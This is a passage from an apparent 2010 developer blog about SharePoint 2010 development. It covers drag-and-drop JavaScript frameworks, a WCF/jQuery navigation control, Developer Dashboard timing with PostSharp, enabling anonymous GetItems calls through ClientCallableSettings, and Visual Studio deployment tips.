        from tweet in GetUniqueTweets(twitterCtx, seen)
        select tweet;
    tweetStream.ObserveOn(new DispatcherScheduler(Dispatcher))
        .Subscribe(tweet =>
            TweetList.Items.Add(
                String.Format("[{0}] {1}", tweet.CreatedAt, tweet.Text)));
}

private static IObservable<Status> GetUniqueTweets(TwitterContext ctx, Dictionary<string, bool> seenList)
{
    var filter = new Func<Status, bool>(tweet => 
        seenList.ContainsKey(tweet.StatusID) ? false : seenList[tweet.StatusID] = true);
    return (from tweet in ctx.Status
            where tweet.Type == StatusType.User &&
                  tweet.ScreenName == "einaros" &&
                  tweet.Count == 10 &&
                  filter(tweet)
            select tweet).Reverse().ToObservable();
}

The most interesting part here is the tweetStream observable, which is initialized in the InitTwitterListing method. It will keep spewing values indefinitely, the first one after a timeout of TimeSpan.Zero seconds, then at an interval of 30 seconds. The actually selected values stem from the GetUniqueTweets method, which does a farily straight forward poll from Linq2Twitter.

For each new call to Linq2Twitter, 10 tweets will be requested. All returned tweets will then be filtered (and taken notice of, if not already seen), then reversed and returned as an Rx observable sequence.

Another SharePoint drag'n'drop framework sneak peek: Assigning task items

2010-05-26T13:16:00.006+02:00

In this demo I'm pulling another one of my frameworks into the mix: SPDropBox. It makes for a general purpose hovering container, which can e.g. (as in the following demo) active site show users.

Combined with SPDrag, I can easily assign task list items to a user, simply by dragging it onto the user's entry in the SPDropBox view.

Check the demo:

Click the video above to watch it embedded (best in full screen), or Watch in new window

The code for this demo is nothing fancy, just a quick type-up to demonstrate how the current state of the SPDrag and SPDropBox libraries can be used.

In essence, I create a div container which lists users. Users are fetched from some server side code - in a prod solution, this should be lazy loaded and searchable. This user container is added to the dropbox, along with an icon.

In the latter part of the sample source, I use SPDrag to hook what I within SPDrag have defined as SPTask items, to the user entries of the user list. The drop handler gets a reference to the dropped task item, as well as the container it's dropped onto. List and item information are extracted, along with the id of the user from the drop targe. All of this then updates the list using the SharePoint 2010 client object model, and finally (asynchronously) refreshes the list.


var userContainer = $(document.createElement("div"));
var users = [<%= users %>];
for (var i = 0; i < users.length; ++i)
{
    var user = users[i];
    var userBox = $(document.createElement("div"));
    userBox
        .attr("grep:user", user.Id)
        .addClass("usercontainer_user")
        .html("<center><img width='50px' src='/_layouts/images/PERSON.GIF'/><br/>" + user.Name + "</center>");
    userContainer.append(userBox);
}

grep.dropbox.addContainer("/_layouts/images/pplpkrgrp.png", "People", userContainer);

// Make SPDrag connectable
var l = grep.spdrag.lambda;
grep.spdrag.connect(userContainer.find(".usercontainer_user"),
        [
            l.item().is_of_type(grep.spdrag.Types.SPTask)
        ],
        function (element, container)
        {
            var task = grep.spdrag.getData(element);
            if (task)
            {
                clientContext = new SP.ClientContext.get_current();
                web = clientContext.get_web();
                list = web.get_lists().getById(task.ctx.listName);
                listItem = list.getItemById(task.id);
                listItem.set_item('AssignedTo', container.attr("grep:user"));
                listItem.update();
                clientContext.executeQueryAsync(
                    function () { 
                        _SubmitFormPost(_CorrectUrlForRefreshPageSubmitForm(), false, true); }, 
                    function (e, x) { /* Error condition */ });
            }
        });

SPDrag: A soon released javascript framework to make the SP2010 UI drag'n'droppable

2010-05-25T20:42:00.010+02:00

Last autumn I spent some time writing a javascript framework for SharePoint 2007, which made regular SharePoint UI elements drag'n'droppable. To make it flow with async postbacks, I had to pull a few dirty hacks into the standard SP javascript libs, and that made the framework too fragile to be released.

With SharePoint 2010, this is no longer the case. The standard libraries now have methods to do partial ajax-ish ui updates, as well as being much more suited for dynamic extensions. SPDrag is thus reborn, and I've begun writing new integrations.

The first SPDrag use is a plugin for my previously shown tree navigation control, which allows the user to move/copy files and folders by dragging them onto folders on the nav tree.

Check the demo:

Click the video above to watch it embedded (best in full screen), or Watch in new window

Other usage implementations of the SPDrag library will follow as I complete its transition to SP2010.

Regarding the navigation control itself, it will be open sourced in near future - pending a few license formalities. The same goes for the core SPDrag library, which is standalone from the navigation control, but provides the core connectability between e.g. files, folders, list & calendar items and e.g. the nav control, user lists, SP-hosted chat applications and so forth. In other words: if you're interested in any of this, either check back soon, or send me a tweet / email to show interest - and I'll keep you posted about downloads / project hostings.

Related post: Another SharePoint drag'n'drop framework sneak peak: Assigning task items

Very fast jQuery / WCF REST based SharePoint 2010 hierarchical nav control: Complete

2010-05-14T17:40:00.026+02:00

The control, which I've blogged about in the past, features:

Complete hierarchical overview of an entire site collection, including document library folders.
Wiki and page libraries will, in addition to have their folders listed - as with document libraries - also list individual pages.
The entire site, list and folder tree can be navigated, regardless of which sub site or list you're currently browsing.
All data is cached on the client side, which means minimal traffic overhead, and very quick load time. The cache expire time can be customized.
Editable nodes all through the tree: you can reorder, change titles and hide nodes.
A quick link to hide or show the navigation control, and thus instantly grant more view space to the web parts on the page.
CSS based design, for easy styling.

At the bottom of the post you'll find a screencast, where I briefly explain the differences between this nav control, and the default treeview in SP2010. Note for those without sound: the first control shown is the default treeview - which won't show content of sites above the current site, nor sibling sites. About half-way into the screencast I enable the custom control.

Update: This solution has now been commercialized, and is available for purchase. Send me an email (link in the right pane) for further information.

Update 2 (January 2011): The newest version now has plugin support. The first released plugin, Cross Site Drag and Drop File / Folder Copying, is demonstrated here.

Older demonstration:

Click the video above to watch it embedded (best in full screen), or Watch in new window

Using PostSharp AOP to simplify SharePoint 2010 Developer Dashboard timing

2010-05-06T18:10:00.009+02:00

This is a 10 minute screencast where I demonstrate the basic functionality of the SharePoint 2010 Developer Dashboard, combined with the PostSharp AOP framework. By using AOP (Aspect Oriented Programming), you can extract the timing code into separate aspects and apply them to the methods of your choosing, rather than cluttering all the method bodies with specific timing code.

Watch the screencast:

I do apologize for the sound quality of the recording. This was my first time around with Microsoft Expression Encoder, and it seems that the longer I record, the more jittery the sound becomes. I tried stopping and restarting the recording every now and then to deal with the issue, but it's still somewhat choppy at times.

The powershell script I've built to enable / disable the developer dashboard:
enable-devdashboard.ps1


param([switch]$disable)

[reflection.assembly]::LoadWithPartialName("microsoft.sharepoint") >$null

if($disable -eq $false){
  write-host -foreground green Enabling Developer Dashboard
  stsadm -o setproperty -propertyname developer-dasboard -propertyvalue on >$null
  $ws = [microsoft.sharepoint.administration.spwebservice]::ContentService
  $ws.DeveloperDashboardSettings.DisplayLevel = [microsoft.sharepoint.administration.spdeveloperdashboardlevel]::On
  $ws.DeveloperDashboardSettings.Update()
}
else {
  write-host -foreground yellow Disabling Developer Dashboard
  stsadm -o setproperty -propertyname developer-dasboard -propertyvalue off >$null
  $ws = [microsoft.sharepoint.administration.spwebservice]::ContentService
  $ws.DeveloperDashboardSettings.DisplayLevel = [microsoft.sharepoint.administration.spdeveloperdashboardlevel]::Off
  $ws.DeveloperDashboardSettings.Update()
}

write-host Done

Here's the aspect code, which I put together at the end of the screencast. In this listing I've updated it to not emit any aspect code for non-debug builds.


[Serializable]
public class DeveloperDashboardTimedAttribute : OnMethodBoundaryAspect
{
#if DEBUG
    public string Description { get; set; }

    public override sealed void OnEntry(MethodExecutionArgs args)
    {
        string type = args.Method.DeclaringType != null ? 
            args.Method.DeclaringType.Name : "<no type>";
        string scopeName = type + 
            "." + args.Method.Name + 
            (Description != null ? " [" + Description + "]" : "");
        var sc = new SPMonitoredScope(scopeName);
        args.MethodExecutionTag = sc;
    }

    public override sealed void OnExit(MethodExecutionArgs args)
    {
        var sc = args.MethodExecutionTag as SPMonitoredScope;
        if (sc != null)
        {
            sc.Dispose();
        }
    }
#endif
}

Custom jQuery based quick launch treeview for SharePoint 2010

2010-05-05T17:48:00.013+02:00

Update: There's an updated post on this control, available here.

Outdated post follows

I wrote about a control such as this some time ago, when I first started developing it for SharePoint 2007. Recently I've upgraded and rewritten large parts of it for SharePoint 2010, and it now utilizes custom REST WCF services and the updated APIs to do its job. SharePoint 2010 has a much improved default tree view, but I've wanted a few extra features - such as custom caching schemes and on-the-spot administration, which I haven't been able to do with the standard controls.

Take a look at the following screencast, where I explain a bit about what it is and does.

One feature I don't mention in the screencast, which is currently 80% upgraded to 2010, is the ability to drag pages from document libraries, onto the menu, for quick-linking pages. I think that's pretty cool as well.

Anonymously accessing list items through the SharePoint Client Object Model

2010-05-04T13:09:00.018+02:00

Up until today I haven't found time to explore the obscure corners of the SharePoint 2010 Client Object Model. Keeping an eye on my Twitter client, I noticed Waldek Mastykarz mention trying to use it in an anonymous portal context - and hitting an error doing so. Problems such as these easily catch my interest (that's my favorite way of learning new stuff), so I set out to try the same myself.

I whipped up an empty SP2010 team site, created a dummy list and added an item to that. I then went on to create a simple SilverLight package, such as:


    public partial class MainPage : UserControl
    {
        private ListItemCollection _items;

        public MainPage()
        {
            InitializeComponent();
            var context = new ClientContext("http://sp10dev");
            _items = context.Web.Lists.GetByTitle("TestList").GetItems(new CamlQuery { ViewXml = "100" });
            context.Load(_items, items => items.Include(item => item["Title"]));
            context.ExecuteQueryAsync(
                (sender, args) => Dispatcher.BeginInvoke(ShowStuff),
                (sender, args) => Dispatcher.BeginInvoke(() => MessageBox.Show("Request failed. " + args.Message + "\n" + args.StackTrace)));
        }

        private void ShowStuff()
        {
            foreach (var item in _items)
            {
                Output.Text += item["Title"] + "\n";
            }
        }
    }

After adding this to the portal as a "Silverlight Web Part", using the default template, and enabling anonymous access to the portal, I got the following error:
Request failed. The method "GetItems" of the type "List" with id "{...}" is blocked by the administrator on the server.

This was quite unexpected, as I was able to retrieve information about the Web object, as well as enumerate lists (even a few hidden ones) in the portal.

Digging a bit further, I combined an exception I noticed in Fiddler (Microsoft.SharePoint.Client.ApiBlockedException), with the class information found in the client.svc endpoint. In Reflector, this brought me through the SharePoint 2010 client service code, to a class called SPClientServiceHost, which has a method named IsMethodBlocked. Following this trail even further, it turns out that there's a SPClientCallableSettings class, exposed as ClientCallableSettings on the SPWebApplication object - and that's the key. Turning to PowerShell for a second, I enumerated what turns out to be the default settings for the AnonymousRestrictedTypes property:

So apparently anonymous users, using the Client Object Model, are blocked from using

GetItems and GetChanges on SPLists
GetChanges and GetSubwebsForCurrentUser on SPWebs
GetChanges on SPSites

The good news, however, is that the ClientCallableSettings value can be adjusted to allow anonymous user access to one or more of these methods.

Doing this with PowerShell:


$webapp = Get-SPWebApplication "http://sp10dev"
$webapp.ClientCallableSettings.AnonymousRestrictedTypes.Remove([microsoft.sharepoint.splist], "GetItems")
$webapp.Update()

Be sure to replace "http://sp10dev" with whatever url your target webapp has. After doing this, anonymous calls to GetItems will work for that web application. The changes are persisted in the SharePoint database, and last until you change the setting again, or recreate the web application.

Update: I can't say for certain why GetItems() has been blocked by default, but this much I can say:

Per-item security is still upheld, with GetItems enabled. If anon doesn't have access to a list item, it won't be returned.
Even with GetItems disabled, the client side object model can be used by anonymous users to *add* items, granted that the list permits anon additions.

Building a WCF REST + jQuery webpart based realtime request graph for SP2010, in less than 5 minutes

2010-04-27T21:07:00.010+02:00

In the following screencast I demonstrate how quickly one can write, build and deploy a WCF REST web service, visual webpart and jQuery code to an all clean SharePoint 2010 portal. The solution I'm building (which could obviously be made cooler, if you had - say - 10 minutes) is a realtime incoming request monitor. It will render bars based on how many incoming requests the SharePoint portal has at a given moment.

Watch the (somewhat stressed) screencast:

And here's the source code, with quite a few visualization improvements I didn't think of in the build demo above.

Building and deploying a WCF service to SharePoint 2010, and writing a console client, all in 3min 28sec

2010-04-27T15:36:00.010+02:00

Here's a 3m 28s screencast (which could have been a lot quicker, if I didn't fumble about so much), where I build and deploy a WCF service to a blank SharePoint 2010 site, and then create a console client to make a request from the service.

A couple of quick tricks make it swifter than a blink of an eye - seriously.

1: Avoid manually typing the full assembly (and PublicKeyToken) reference in your .svc files

To do this, make a one-time update to your build box' SharePoint MSBuild targets. Go to your "Program files (x86)\MSBuild\Microsoft\VisualStudio\v10.0\SharePointTools" folder, and open the .targets-file found there. Locate the "TokenReplacementFileExtensions" node, and add "svc" to the processed extensions.

This will essentially make .svc files eligible for replacements such as described in http://msdn.microsoft.com/en-us/library/ee231545.aspx. Which means that your .svc files can now include:


<%@ ServiceHost 
    Factory="..."
    Language="C#" 
    Service="Namespace.ServiceClass, $SharePoint.Project.AssemblyFullName$" 
%>

The full assembly reference will then be filled in upon build.

2: Use a Factory, rather than an explicit web.config file alongside your .svc

This is an excerpt from a ReSharper live template I setup in my own dev environment, which is merged with the ServiceHost block above:


Factory="Microsoft.SharePoint.Client.Services.$FACTORY$,
        Microsoft.SharePoint.Client.ServerRuntime, Version=14.0.0.0,        
        Culture=neutral, PublicKeyToken=71e9bce111e9429c"

Where $FACTORY$ is either:

MultipleBaseAddressBasicHttpBindingServiceHostFactory for a SOAP service.
MultipleBaseAddressWebServiceHostFactory for a REST service.
MultipleBaseAddressDataServiceHostFactory for an ADO.NET Data Service.

To provide a MEX endpoint for your service, add an "[BasicHttpBindingServiceMetadataExchangeEndpoint]" attribute to your service implementation. This is defined in the assembly Microsoft.SharePoint.Client.ServerRuntime. The namespace is Microsoft.SharePoint.Client.Services.

Also make sure it has "[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Required)]", otherwise it won't run at all. This is found in the System.ServiceModel assembly, which is required for WCF in general.

3: Deploy using Visual Studio 2010

Using one of the new Visual Studio 2010 project templates:

Add your service code
Right-click the project node and add a mapped SharePoint folder, such as LAYOUTS or ISAPI
Deploy your .svc file(s) to a project folder within the mapped folder
Hit build, deploy and take it for a spin.

My Visual Studio 2010 Theme: Son of Obsidian

2010-04-26T17:47:00.005+02:00

Inspired by the good old Obsidian theme, it's meant to be easy on the eyes.

Download available at studiostyles.info.

SP2010 Deployment: Beware of "Deployment Conflict Resolution Behavior"

2010-04-26T17:05:00.005+02:00

Having finally gotten around to test drive SharePoint 2010 properly, I set out to create a quick site definition. To lay the basis for structure to come, as well as upgradability, I wanted to do as I've usually done with SP2007: leave the site definition next to empty, and attach features to it to do the dirty work. This means that I'd have separate features to deploy files such as a custom master page, default.aspx and stylesheets.

The most interesting part here is the default.aspx file. After whipping up the Site Definition project in Visual Studio 2010, I added a feature and a Module project item. I then moved the default.aspx file from the site definition item to the new module.

This left me with a project structure as shown above. Clean and simple, with the site definition activating the layout feature, which would go on to provision the default.aspx file. Nothing fancy; easy to grasp. Or so you'd think.

Next I went on to compile and deploy the package to my local test site. Visual Studio is nice enough to open the "New Site" page when you debug site def projects, so that was truly painless. I then verified that my new sub web worked, and tried returning to the root site.

Bam. 404 - Not Found. Huh?

I opened SP Designer and checked the root site. Indeed, there was no default.aspx there. I even checked to see that my layout feature hadn't been enabled for the root site - it hadn't. Having redeployed a few times, it dawned on me that the retraction or deployment process was to blame, not SharePoint itself.

This took me a whole lot of digging through the Visual Studio 2010 + SharePoint 2010 integration model to figure out - Reflector be praised - but in the end the answer turned out to be pretty simple: Deployment Conflict Resolution. Having first found a reference to this concept in one of the VS.SharePoint deployment command dlls, I did a Google search and found it mentioned in brief in this article.

Sure enough, flipping the switch for my module item worked. VS2010 will now deploy the solution, without deleting my root default.aspx file - a conflict it had no business solving in the first place. Even though I happen to be deploying a default.aspx file; I'm not necessarily in the mood to delete all other default.aspx files in the site collection.